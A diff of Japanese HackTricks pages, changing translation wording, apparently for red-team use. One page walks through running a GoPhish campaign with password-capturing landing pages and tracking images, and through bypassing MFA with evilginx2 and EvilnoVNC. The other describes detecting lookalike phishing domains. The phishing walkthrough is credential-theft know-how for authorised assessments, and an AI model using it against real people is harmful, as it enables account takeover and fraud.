ページにアクセスして、指定されたアドレスにメールを送信してください: ページにアクセスし、彼らが提供するアドレスにメールを送信してください:
```bash ```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
``` ```
あなたのメール構成をチェックすることもできます。`check-auth@verifier.port25.com` にメールを送信し、**応答を読む**ことができます(これにはポート **25** を**開く**必要があり、ルートとしてメールを送信すると、ファイル _/var/mail/root_ で応答を確認する必要があります)。\ あなたはまた、**メール設定を確認する**ために `check-auth@verifier.port25.com` にメールを送信し、**応答を読む**ことができます(これには、**ポート25を開く**必要があり、メールをrootとして送信した場合はファイル _/var/mail/root_ で応答を確認します)。\
すべてのテストに合格していることを確認してください: すべてのテストに合格していることを確認してください:
```bash ```bash
========================================================== ==========================================================
@ -295,41 +296,41 @@ DKIM check: pass
Sender-ID check: pass Sender-ID check: pass
SpamAssassin check: ham SpamAssassin check: ham
``` ```
あなたのコントロール下のGmailに**メッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認してください。`Authentication-Results`ヘッダーフィールドに`dkim=pass`が存在しているはずです。 あなたはまた、**あなたの管理下にあるGmailにメッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass`は`Authentication-Results`ヘッダー欄に存在する必要があります。
``` ```
Authentication-Results: mx.google.com; Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com; dkim=pass header.i=@example.com;
``` ```
### スパムハウスブラックリストからの削除 ### Spamhouseのブラックリストからの削除
ページ[www.mail-tester.com](https://www.mail-tester.com)は、あなたのドメインがスパムハウスによってブロックされているかどうかを示すことができます。あなたはあなたのドメイン/IPを削除するようにリクエストすることができます: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがspamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストするには: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### マイクロソフトブラックリストからの削除 ### Microsoftのブラックリストからの削除
あなたは、[https://sender.office.com/](https://sender.office.com)であなたのドメイン/IPを削除するようにリクエストすることができます ​​あなたのドメイン/IPの削除をリクエストするには [https://sender.office.com/](https://sender.office.com) にアクセスしてください
## GoPhishキャンペーンの作成と開始 ## GoPhishキャンペーンの作成と開始
### 送信プロファイル ### 送信プロファイル
* 送信者プロファイルを識別するための**名前を設定** * 送信者プロファイルを識別するための**名前を設定**します
* どのアカウントからフィッシングメールを送信するかを決定します。提案: _noreply, support, servicedesk, salesforce..._ * フィッシングメールを送信するアカウントを決定します。提案: _noreply, support, servicedesk, salesforce..._
* ユーザー名とパスワードを空白のままにしても構いませんが、証明書エラーを無視するようにチェックを入れてください * ユーザー名とパスワードは空白のままにできますが、「証明書エラーを無視する」をチェックすることを確認してください
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) ![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
{% hint style="info" %} {% hint style="info" %}
すべてが正常に動作しているかをテストするために、**「テストメールを送信」**機能を使用することをお勧めします。\ 「**テストメールを送信**」機能を使用して、すべてが正常に動作していることをテストすることをお勧めします。\
テストを行う際にブラックリストに登録されないように、**テストメールを10分メールアドレスに送信することをお勧めします** テストを行う際にブラックリストに載らないようにするために、**10分メールアドレスにテストメールを送信する**ことをお勧めします
{% endhint %} {% endhint %}
### メールテンプレート ### メールテンプレート
* テンプレートを識別するための**名前を設定** * テンプレートを識別するための**名前を設定**します
* 次に、**件名**を記述します(奇妙なものではなく、通常のメールで読むことができるもの) * 次に、**件名**を書きます(特に奇妙なものではなく、通常のメールで読むことができるもの)
* **トラッキング画像を追加**するようにチェックを入れていることを確認してください * 「**トラッキング画像を追加**」にチェックを入れていることを確認してください
* **メールテンプレート**を記述します(次の例のように変数を使用することができます): * **メールテンプレート**を書きます(以下の例のように変数を使用できます):
```markup ```markup
<html> <html>
<head> <head>
@ -348,53 +349,53 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body> </body>
</html> </html>
``` ```
注意**メールの信頼性を高めるために**、クライアントからのメールにいくつかの署名を使用することが推奨されています。提案: 注意していただきたいのは、**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することが推奨されるということです。提案:
* **存在しないアドレス**にメールを送信し、返信に署名があるかどうかを確認します。 * **存在しないアドレス**にメールを送信し、返信に署名が含まれているか確認します。
* info@ex.com press@ex.com、public@ex.com などの**公開メール**を検索し、メールを送信して返信を待ちます。 * info@ex.comやpress@ex.com、public@ex.comのような**公開メール**を検索し、メールを送信して返信を待ちます。
* **いくつかの有効な発見された**メールに連絡を取り、返信を待ちます * **いくつかの有効な発見された**メールに連絡を試み、返信を待ちます。
![](<../../.gitbook/assets/image (80).png>) ![](<../../.gitbook/assets/image (80).png>)
{% hint style="info" %} {% hint style="info" %}
メールテンプレートには、**送信するファイルを添付**することもできます。特別に作成されたファイル/ドキュメントを使用して NTLM チャレンジを盗む場合は、[このページ](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)を参照してください Emailテンプレートでは、**送信するファイルを添付することもできます**。NTLMチャレンジを特別に作成したファイル/ドキュメントを使用して盗むことも希望する場合は、[このページを読んでください](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
{% endhint %} {% endhint %}
### ランディングページ ### ランディングページ
* **名前を記入** * **名前**を記入
* ウェブページの HTML コード**記入**します。ウェブページを**インポート**することもできます。 * **ウェブページのHTMLコード**記入します。ウェブページを**インポート**することもできます。
* **送信されたデータをキャプチャ**し、**パスワードをキャプチャ**します * **提出データをキャプチャ**と**パスワードをキャプチャ**にチェックを入れます。
* **リダイレクト**を設定 * **リダイレクト**を設定します。
![](<../../.gitbook/assets/image (826).png>) ![](<../../.gitbook/assets/image (826).png>)
{% hint style="info" %} {% hint style="info" %}
通常、ページの HTML コードを変更してローカルでテストを行い(たとえば Apache サーバーを使用して)、**結果に満足するまで**行います。その後、その HTML コードをボックスに記入します。\ 通常、ページのHTMLコードを修正し、ローカルでいくつかのテストを行う必要がありますおそらくApacheサーバーを使用して**結果に満足するまで**。その後、そのHTMLコードをボックスに記入します。\
HTML に**静的リソースを使用する必要がある場合**(たとえば、いくつかの CSS および JS ページ)、それらを _**/opt/gophish/static/endpoint**_ に保存し、_**/static/\<filename>**_ からアクセスできます。 HTML用に**静的リソース**おそらくCSSやJSページを使用する必要がある場合は、_**/opt/gophish/static/endpoint**_に保存し、_**/static/\<filename>**_からアクセスできます。
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
リダイレクトでは、ユーザーを被害者の正規のメインウェブページに**リダイレクト**するか、例えば _/static/migration.html_ にリダイレクトして、**5秒間スピニングホイール**[**https://loading.io/**](https://loading.io)**)を表示し、その後処理が成功したことを示します。 リダイレクトについては、**ユーザーを被害者の正当なメインウェブページにリダイレクトする**か、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール****[https://loading.io/](https://loading.io)**)を表示してから、プロセスが成功したことを示すことができます。
{% endhint %} {% endhint %}
### ユーザーグループ ### ユーザーグループ
* 名前を設定 * 名前を設定
* データを**インポート**します(例のテンプレートを使用する場合、各ユーザーの名、姓、メールアドレスが必要です) * **データをインポート**します(例のテンプレートを使用するには、各ユーザーの名、姓、メールアドレスが必要です)
![](<../../.gitbook/assets/image (163).png>) ![](<../../.gitbook/assets/image (163).png>)
### キャンペーン ### キャンペーン
最後に、キャンペーンを作成し、名前、メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択します。URL は被害者に送信されるリンクになります 最後に、名前、メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択してキャンペーンを作成します。URLは被害者に送信されるリンクになります
**送信プロファイルを使用して、最終的なフィッシングメールの見た目を確認することができます** **送信プロファイルでは、最終的なフィッシングメールがどのように見えるかを確認するためにテストメールを送信できます**
![](<../../.gitbook/assets/image (192).png>) ![](<../../.gitbook/assets/image (192).png>)
{% hint style="info" %} {% hint style="info" %}
テストメールを送信して最終的なフィッシングメールの見た目を確認することをお勧めします。テストメールは、テストを行うことでブラックリストに登録されるのを避けるために、10分間のメールアドレスに送信することをお勧めします。 テストメールを**10分メールアドレス**に送信することをお勧めします。テスト中にブラックリストに載るのを避けるためです。
{% endhint %} {% endhint %}
すべてが準備できたら、キャンペーンを開始してください! すべてが準備できたら、キャンペーンを開始してください!
@ -407,49 +408,49 @@ HTML に**静的リソースを使用する必要がある場合**(たとえ
[clone-a-website.md](clone-a-website.md) [clone-a-website.md](clone-a-website.md)
{% endcontent-ref %} {% endcontent-ref %}
## バックドア付きドキュメントファイル ## バックドア付きドキュメントファイル
一部のフィッシングアセスメント(主に Red Team 向けでは、バックドアを含むファイルを送信したい場合がありますたとえば、C2 または認証をトリガーするもの)。\ いくつかのフィッシング評価(主にレッドチーム用)では、**バックドアを含むファイルを送信したい**場合がありますおそらくC2、または認証をトリガーする何か)。\
いくつかの例については、次のページを参照してください: いくつかの例については、次のページを確認してください:
{% content-ref url="phishing-documents.md" %} {% content-ref url="phishing-documents.md" %}
[phishing-documents.md](phishing-documents.md) [phishing-documents.md](phishing-documents.md)
{% endcontent-ref %} {% endcontent-ref %}
## フィッシング MFA ## フィッシングMFA
### プロキシ MitM 経由 ### プロキシMitM経由
前述の攻撃はかなり巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。ただし、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2要素認証2FAで構成されている場合、**この情報ではだまされたユーザーをなりすますことはできません**。 前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで設定されている場合、**この情報では騙されたユーザーを偽装することはできません**。
れは、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)、**[**muraena**](https://github.com/muraenateam/muraena) などのツールが役立ちます。このツールを使用すると、MitM のような攻撃を生成できます。基本的に、攻撃は次のように機能します: こで、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、** [**CredSniper**](https://github.com/ustayready/CredSniper)および[**muraena**](https://github.com/muraenateam/muraena)のようなツールが役立ちます。このツールは、MitMのような攻撃を生成することを可能にします。基本的に、攻撃は次のように機能します:
1. 実際のウェブページの**ログインフォームをなりすまします** 1. 実際のウェブページのログインフォームを**偽装**します
2. ユーザーは**自分の資格情報**をあなたの偽のページに送信し、ツールはそれを実際のウェブページに送信し、**資格情報が機能するかどうかを確認**します。 2. ユーザーは**資格情報**を偽のページに**送信**し、ツールはそれを実際のウェブページに送信し、**資格情報が機能するか確認します**
3. アカウントが**2FA**で構成されている場合、MitM ページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。 3. アカウントが**2FA**で設定されている場合、MitMページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。
4. ユーザーが認証されると、あなた(攻撃者)は、ツールが MitM を実行している間に、**資格情報、2FA、クッキー、およびすべてのインタラクションの情報**をキャプチャします 4. ユーザーが認証されると、(攻撃者として)**資格情報、2FA、クッキー、およびツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャします**
### VNC 経由 ### VNC経由
被害者を**悪意のあるページに送信**する代わりに、実際のウェブページに接続されたブラウザを持つ**VNC セッションに被害者を送信**するとどうなりますか?彼が何をしているかを見ることができ、パスワード、使用された MFA、クッキーなどを盗むことができます。\ もし**被害者を元のページと同じ外観の悪意のあるページに送信する代わりに、実際のウェブページに接続されたブラウザのVNCセッションに送信したらどうなるでしょうか**彼が何をしているかを見ることができ、パスワード、使用されるMFA、クッキーを盗むことができます...\
これは [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) で行うことができます。 これは[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)を使用して行うことができます。
## 検出の検出 ## 検出の検出
明らかに、バレたかどうかを知る最良の方法の1つは、**ドメインをブラックリスト内で検索**することです。リストされている場合、どこかであなたのドメインが疑わしいとして検出されたということです。\ 明らかに、バストされたかどうかを知る最良の方法の1つは、**ブラックリスト内で自分のドメインを検索することです**。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\
どのブラックリストにも登録されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com) を使用することです。 ドメインがブラックリストに表示されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com)を使用することです。
ただし、被害者が**野生の中で疑わしいフィッシング活動を積極的に探しているかどうか**を知るための他の方法があります。詳細は次のページで説明されています: ただし、被害者が**野外で疑わしいフィッシング活動を積極的に探しているかどうかを知る他の方法もあります**。詳細は以下の通りです:
{% content-ref url="detecting-phising.md" %} {% content-ref url="detecting-phising.md" %}
[detecting-phising.md](detecting-phising.md) [detecting-phising.md](detecting-phising.md)
{% endcontent-ref %} {% endcontent-ref %}
被害者のドメインに非常に似た名前のドメインを**購入**したり、被害者のドメインの**キーワードを含むサブドメイン**の証明書を**生成**したりすることができます。被害者がそれらと**DNS または HTTP インタラクション**を行うと、**疑わしいドメインを積極的に探している**ことがわかります。その場合は、非常に慎重である必要があります。 被害者のドメインに非常に似た名前のドメインを**購入する**ことができます。または、あなたが制御するドメインの**サブドメイン**のために**証明書を生成する**ことができます。被害者のドメインの**キーワード**を含むものです。もし**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行った場合、**彼が積極的に探している**ことがわかり、非常にステルスである必要があります。
### フィッシングの評価 ### フィッシングの評価
[**Phishious** ](https://github.com/Rices/Phishious)を使用して、メールがスパムフォルダに入るか、ブロックされるか、成功するかを評価します。 [**Phishious**](https://github.com/Rices/Phishious)を使用して、あなたのメールがスパムフォルダに入るか、ブロックされるか、成功するかを評価します。
## 参考文献 ## 参考文献
@ -457,3 +458,18 @@ HTML に**静的リソースを使用する必要がある場合**(たとえ
* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) * [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) * [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) * [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,79 +1,95 @@
# フィッシングの検出 # フィッシングの検出
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
{% endhint %}
## 導入 ## はじめに
フィッシング試行を検出するには、**現在使用されているフィッシング技術を理解することが重要**です。この投稿の親ページには、その情報が記載されていますので、今日使用されている技術がわからない場合は、親ページに移動して少なくともそのセクションを読むことをお勧めします。 フィッシングの試みを検出するには、**現在使用されているフィッシング技術を理解することが重要です**。この投稿の親ページにはこの情報があるので、今日使用されている技術について知らない場合は、親ページに行って少なくともそのセクションを読むことをお勧めします。
この投稿は、**攻撃者がなんらかの方法で被害者のドメイン名を模倣したり使用することを試みる**という考えに基づいています。たとえば、あなたのドメインが`example.com`と呼ばれ、`youwonthelottery.com`のように完全に異なるドメイン名を使用してフィッシングされた場合、これらの技術はそれを発見しません。 この投稿は、**攻撃者が何らかの形で被害者のドメイン名を模倣または使用しようとする**という考えに基づいています。あなたのドメインが `example.com` と呼ばれ、何らかの理由で `youwonthelottery.com` のような全く異なるドメイン名でフィッシングされる場合、これらの技術ではそれを明らかにすることはできません。
## ドメイン名の変種 ## ドメイン名のバリエーション
メール内で**類似したドメイン名**を使用する**フィッシング**試行を**発見**するのは**簡単**です。\ メール内で**類似のドメイン**名を使用するフィッシングの試みを**明らかにするのは比較的簡単**です。\
攻撃者が使用する可能性のある**最もありそうなフィッシング名のリストを生成**し、それが**登録されているかどうか**を**チェック**するだけで十分です。 攻撃者が使用する可能性のある**最も可能性の高いフィッシング名のリストを生成し**、それが**登録されているかどうかを確認する**か、単にそれを使用している**IP**があるかどうかを確認するだけで十分です。
### 疑わしいドメインの検出 ### 疑わしいドメインの発見
この目的のために、のツールのいずれかを使用できます。これらのツールは、ドメインにIPが割り当てられているかどうかを自動的にチェックするため、DNSリクエストも実行します: この目的のために、以下のツールのいずれかを使用できます。これらのツールは、ドメインにIPが割り当てられているかどうかを確認するためにDNSリクエストを自動的に実行します:
- [**dnstwist**](https://github.com/elceef/dnstwist) * [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
### ビットフリッ ### ビットフリッピング
**この技術の短い説明は親ページにあります。または、元の研究を** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) **で読むことができます。** **この技術の簡単な説明は親ページにあります。または、** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) **で元の研究を読むことができます。**
たとえば、ドメインmicrosoft.comの1ビットの変更は、_windnws.com._に変換できます。\ 例えば、ドメイン microsoft.com の1ビットの変更は、_windnws.com_ に変換できます。\
**攻撃者は、被害者に関連するであろうビットフリップドメインをできるだけ多く登録して、合法的なユーザーを自分たちのインフラストラクチャにリダイレクトする**ことができます **攻撃者は、被害者に関連するビットフリッピングドメインをできるだけ多く登録し、正当なユーザーを自分のインフラにリダイレクトすることができます**
**すべての可能なビットフリッドメイン名も監視する必要があります。** **すべての可能なビットフリッピングドメイン名も監視する必要があります。**
### 基本的なチェック ### 基本的なチェック
潜在的な疑わしいドメイン名のリストができたら、それらを主にHTTPとHTTPSのポート**チェック**して、それが被害者のドメインのいずれかに似たログインフォームを使用しているかどうかを**確認**するべきです。\ 潜在的な疑わしいドメイン名のリストができたら、それらを**チェック**する必要があります主にHTTPおよびHTTPSポート**被害者のドメインの誰かに似たログインフォームを使用しているかどうかを確認するために**。\
ポート3333もチェックして、`gophish`のインスタンスが実行されているかどうかを確認できます。\ ポート3333が開いていて `gophish` のインスタンスが実行されているかどうかを確認することもできます。\
また、発見された疑わしいドメインの**年齢を知ること**も興味深いです。若ければ若いほど、リスクが高くなります。\ **発見された疑わしいドメインの各ドメインがどれくらい古いかを知ることも興味深い**です。若いほどリスクが高くなります。\
HTTPおよび/またはHTTPSの疑わしいWebページの**スクリーンショット**を取得して、それが疑わしいかどうかを確認し、その場合は**詳細を見るためにアクセス**することも重要です。 疑わしいウェブページのHTTPおよび/またはHTTPSの**スクリーンショット**を取得して、それが疑わしいかどうかを確認し、その場合は**アクセスして詳細を確認**することができます。
### 高度なチェック ### 高度なチェック
さらに進む場合は、定期的に(毎日?数秒/数分しかかかりません)**これらの疑わしいドメインを監視し、さらに検索**することをお勧めします。関連するIPの**オープンポートをチェック**し、`gophish`や類似のツールのインスタンスを**検索**しますはい、攻撃者も間違えますそして、疑わしいドメインとサブドメインのHTTPおよびHTTPSのWebページを**監視**して、被害者のWebページからログインフォームをコピーしているかどうかを確認します。\ さらに一歩進みたい場合は、**疑わしいドメインを監視し、時々(毎日?数秒/数分しかかかりません)さらに検索することをお勧めします**。関連するIPのオープン**ポート**も**チェック**し、**`gophish`や類似のツールのインスタンスを検索する**(はい、攻撃者も間違いを犯します)し、**疑わしいドメインとサブドメインのHTTPおよびHTTPSウェブページを監視して、被害者のウェブページからログインフォームをコピーしているかどうかを確認します**。\
これを**自動化**するためには、被害者のドメインのログインフォームのリストを持っておくことをお勧めします。疑わしいWebページをスパイダリングし、`ssdeep`のようなものを使用して、疑わしいドメイン内で見つかった各ログインフォームを被害者のドメインの各ログインフォームと比較します。\ これを**自動化するために**、被害者のドメインのログインフォームのリストを持ち、疑わしいウェブページをスパイダーし、疑わしいドメイン内で見つかった各ログインフォームを被害者のドメインの各ログインフォームと比較するために `ssdeep` のようなものを使用することをお勧めします。\
疑わしいドメインのログインフォームを特定した場合、**ダミーの資格情報を送信**して、**被害者のドメインにリダイレクトされるかどうかを確認**できます。 疑わしいドメインのログインフォームを特定した場合、**無効な資格情報を送信し**、**被害者のドメインにリダイレクトされるかどうかを確認**することができます。
## キーワードを使用したドメイン名 ## キーワードを使用したドメイン名
親ページでは、被害者のドメイン名を**より大きなドメイン**たとえばpaypal.comのpaypal-financial.comに入れるというドメイン名の変種技術も言及されています 親ページでは、**被害者のドメイン名をより大きなドメイン内に入れる**というドメイン名のバリエーション技術についても言及していますpaypal-financial.com for paypal.com
### 証明書透明性 ### 証明書透明性
以前の「ブルートフォース」アプローチを取ることはできませんが、証明書透明性のおかげで、**そのようなフィッシング試行を発見することが可能**です。CAによって証明書が発行されるたびに、詳細が公開されます。これは、証明書透明性を読んだり、監視したりすることで、**名前にキーワードを使用しているドメインを見つけることが可能**です。たとえば、攻撃者が[https://paypal-financial.com](https://paypal-financial.com)の証明書を生成した場合、証明書を見ることで「paypal」というキーワードを見つけ、疑わしいメールが使用されていることがわかります。 以前の「ブルートフォース」アプローチを取ることはできませんが、実際には**そのようなフィッシングの試みを明らかにすることが可能です**。CAによって証明書が発行されるたびに、詳細が公開されます。これは、証明書の透明性を読み取ることによって、またはそれを監視することによって、**名前の中にキーワードを使用しているドメインを見つけることが可能であることを意味します**。例えば、攻撃者が [https://paypal-financial.com](https://paypal-financial.com) の証明書を生成した場合、証明書を見ることで「paypal」というキーワードを見つけ、疑わしいメールが使用されていることを知ることができます。
[https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)の投稿では、特定のキーワードに影響を与える証明書を検索し、日付(「新しい」証明書のみ)とCA発行者「Let's Encrypt」でフィルタリングするためにCensysを使用できると述べています: 投稿 [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) は、特定のキーワードに影響を与える証明書を検索し、日付(「新しい」証明書のみ)およびCA発行者「Let's Encrypt」でフィルタリングするためにCensysを使用できることを示唆しています:
![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>) ![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>)
ただし、無料のWeb [**crt.sh**](https://crt.sh)を使用して「同じ」ことができます。必要に応じて、キーワードを**検索**し、結果を**日付とCAでフィルタリング**できます。 ただし、無料のウェブ [**crt.sh**](https://crt.sh) を使用して「同じこと」を行うこともできます。**キーワードを検索し**、**日付とCAで結果をフィルタリング**することができます。
![](<../../.gitbook/assets/image (519).png>) ![](<../../.gitbook/assets/image (519).png>)
この最後のオプションを使用すると、実際のドメインの一致するアイデンティティが疑わしいドメインのいずれかと一致するかどうかを確認できます(疑わしいドメインが誤検知される可能性があることに注意してください)。 この最後のオプションを使用すると、Matching Identitiesフィールドを使用して、実際のドメインのいずれかのアイデンティティが疑わしいドメインのいずれかと一致するかどうかを確認できます疑わしいドメインは偽陽性である可能性があることに注意してください
**もう一つの代替手段**は、[**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067)という素晴らしいプロジェクトです。CertStreamは、新しく生成された証明書のリアルタイムストリームを提供し、指定されたキーワードをほぼリアルタイムで検出するために使用できます。実際、[**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher)というプロジェクトがそれを実行しています。
**別の選択肢**は、[**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067)という素晴らしいプロジェクトです。CertStreamは、新しく生成された証明書のリアルタイムストリームを提供し、指定されたキーワードをほぼリアルタイムで検出するために使用できます。実際、[**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher)というプロジェクトがそれを行っています。
### **新しいドメイン** ### **新しいドメイン**
**最後の代替手段**は、いくつかのTLD[Whoxy](https://www.whoxy.com/newly-registered-domains/)がそのようなサービスを提供)の**新しく登録されたドメインのリストを収集**し、**これらのドメイン内のキーワードをチェックする**ことです。ただし、長いドメインは通常、1つ以上のサブドメインを使用するため、キーワードはFLD内に表示されず、フィッシングサブドメインを見つけることができません。 **最後の代替手段**は、いくつかのTLDの**新しく登録されたドメインのリストを収集し**、これらのドメイン内のキーワードを**チェックすることです**。ただし、長いドメインは通常1つ以上のサブドメインを使用するため、キーワードはFLD内に表示されず、フィッシングサブドメインを見つけることはできません。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,43 +1,48 @@
